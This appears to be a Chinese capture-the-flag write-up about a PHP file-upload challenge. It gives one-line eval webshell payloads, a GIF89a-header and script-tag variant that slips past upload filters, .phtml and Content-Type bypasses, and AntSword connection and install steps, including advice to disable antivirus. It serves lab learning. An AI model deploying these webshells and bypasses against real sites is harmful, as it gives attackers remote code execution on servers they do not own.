进入靶机,我们看到需要上传图片.

我们正常上传一张真的图片。

发现报错。

于是我们上传一句话木马,新建一个文本文档,里面写入:

<?php @eval($_POST['cmd']); ?>

在改文件后缀名,改成:1.jpg

翻译:不!黑客!你的文件包括了 ‘<?’

服务器拦截 <?,于是我们修改,将文件内容改为:

GIF89a?

<script language="php">eval($_REQUESTT[1]) </script>

文件名还是 1.jpg

上传成功,我们查看他的目录列表。

果然发现了我们上传上去的文件。

我们用 蚁剑 连接。

结果数据返回为空,说明服务器,没有把我们上传的文件“当成PHP来解析”。

我们需要修改一下文件后缀,经过尝试,我们用 phtml ,于是文件名改为:1.phtml

接下来我们连接 BP 来修改一下 Content-TyPe 里面的格式,改为:image/jpeg

改好后,放行。

上传成功,我们连接蚁剑

URL地址:靶机网址/upload/1,phtml (1.phtml 我们的文件名,不固定)

密码:1

连接测试成功后,我们找到根目录,发现 flag

打开这个文件,得到flag 值

1.为什么上传正常的图片要报错,又是怎么确定思路的:

因为服务器判断的依据是 exif-imagetype() 读取文件头。

它读到 GIF89a 就认为是 GIF,不管后面是什么。而我们传真的图片,文件头是 FF D8 FF(JPEG头)。

所以报错,这也是为什么我们想到用一句话木马来解决问题。

2.什么是一句话木马:

一句话木马是一段级短的PHP代码,作用是在服务器上开一个后门。

让你可以远程执行PHP代码,运行系统命令,读写文件,连数据库——相当于拿到了服务器的部分控制权。

3.怎么用运用一句话木马:

连接蚁剑,菜刀这类工具。

在工具里面输入木马文件的URL和密码,工具就会自动把你想执行的命令打包发送给木马,木马在服务器上执行,再把结果返回给你。

4.为什么一句话木马 <?php @eval($_POST['cmd']); ?> 长这样:

(1):<?php ...?> :php代码的标签,告诉服务器这是 PHP代码。

(2):@eval(...) :把括号里的字符串当作 PHP代码来执行。@用来屏蔽报错信息。

(3):$_POST[‘cmd’] :从 HTTP POST请求里获取参数 cmd 的值。

5.本题 <? 被拦截,为什么要把一句话木马改成

GIF89a?

<script language="php">eval($_REQUESTT[1]) </script>:

写法 区别 原因
@eval($_POST['cmd']) 参数名 cmd 连接时需要填的密码
eval($_REQUEST[1]) 参数名 1,无 @  参数是数字 1,去掉了错误抑制符
<script>   <?被拦截,用<script>来绕过
因为要exif-imagetype() 读取文件头 手动添加GIF89a

 

6.以后遇到这种情况,怎么写一句话木马:

情况  怎么写
没有任何过滤 <?php @eval($_POST['cmd']); ?>
检测  <? <script language="php">@eval($_POST['cmd']);</script>
检测文件头 开头加 GIF89a 或 FF D8 FF 等图片头
同时检测两者 两者结合:GIF89a + <script language="php">@eval($_POST['cmd']);</script>

密码建议用 cmd 方便记忆和连接

一句话木马的核心:只要能让服务器执行你传来的任意代码,什么写法都行,不要让公式局限了你的才华。

7.怎么查看一个网址的目录列表:

方法:在URL后面加上文件夹名字 + /

比如:

http://靶机地址/uploads/

http://靶机地址/images/

http://靶机地址/static/

不一定都能打开,只有管理员忘记关掉目录浏览权限的才能看到。

8.为什么把文件后缀名jpg 改为 phtml:

核心原因:服务器没有把你的文件“当成PHP来解析”。

9.上传一个文件到服务器,会不会被当成PHP来解析,取决于一下两点:

(1)文件后缀名:(比如;  .php , .phtml  ,  .php3  等)是否在服务器的“PHP解析列表”里

(2)有没有配置文件(如 .user.ini 或 .hatccess)强制让某个后缀被解析成PHP

10.遇到这种改后缀名的,怎么办:

一个一个试

后缀 说明
.php    最常见
.phtml      包含 PHP 代码的 HTML 文件
.php3、.php4、.php5   旧版本 PHP 使用的后缀
.phps PHP       源码文件
.pht   另一种 PHP 文件

 

11.下载蚁剑(AntSword):

它需要两个部分配合才能工作:一个“核心程序”和一个“启动器”。这两个文件缺一不可。

 第一步:下载两个文件
1. 启动器 (Loader):负责启动软件。

   · 下载地址:https://github.com/AntSwordProject/AntSword-Loader/releases

   · 选哪个:Windows系统通常选择 AntSword-Loader-v4.0.3-win32-x64.zip。如果电脑比较老,也可以试试 win32-ia32 版本。

2. 核心源码 (Source Code):这是蚁剑的“大脑”。

   · 下载地址:https://github.com/AntSwordProject/AntSword

   · 选哪个:点击页面上的 Code 按钮,然后选择 Download ZIP,把整个源码包下载下来。

 第二步:安装与配置
1. 解压:

   · 在你电脑的某个纯英文路径下(比如 D:\tools\),把刚才下载的 启动器压缩包 和 核心源码压缩包 都解压到当前文件夹。

2. 整理文件:

   · 打开解压出来的启动器文件夹(名字大概是 AntSword-Loader-v4.0.3-win32-x64)。

   · 将解压出来的核心源码文件夹(名字大概是 antSword-master)整个移动/拖拽到启动器文件夹里面。

   · 完成后,启动器文件夹里应该有一个名为 antSword-master 的子文件夹。

3. 首次运行:

   · 在启动器文件夹里,找到 AntSword.exe,双击运行。

   · 如果是第一次使用,会弹出一个“初始化”窗口。点击“初始化”按钮,然后在弹出的文件夹选择框中,选中刚刚放进去的 antSword-master 这个文件夹,点击“选择文件夹”。

   · 稍等片刻,界面会提示“初始化完成”,软件会自动重启。

第三步:启动与连接

重启后,蚁剑的主界面就出来了。如果系统提示缺少某些组件,让它自动下载安装即可。

12. 如何使用:

  (1) 在蚁剑界面空白处右键,选择“添加数据”。

  (2)URL地址:填写你上传的木马文件在服务器上的完整网址(例如:http://example.com/shell.phtml)。

  (3)连接密码:填写你木马文件中设定的密码(例如 cmd)。

  (4)点击“测试连接”,如果提示成功,就点“添加”。然后双击这条记录,就可以管理服务器的文件了。

❗ 重要提示(请务必注意)

1. 先关杀毒软件:在解压和运行蚁剑前,请务必暂时关闭 Windows Defender 或其他杀毒软件,并把蚁剑所在的文件夹加入白名单。因为这类工具的行为特征和病毒很像,会被杀毒软件直接删除或拦截。

2. 路径不要有中文:确保整个蚁剑的文件夹路径(比如 D:\tools\AntSword)没有任何中文字符或空格,否则可能无法正常启动。

3.使用蚁剑时,可能会出现报错提示。原因可能是网络问题,不要连校园网!!!

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐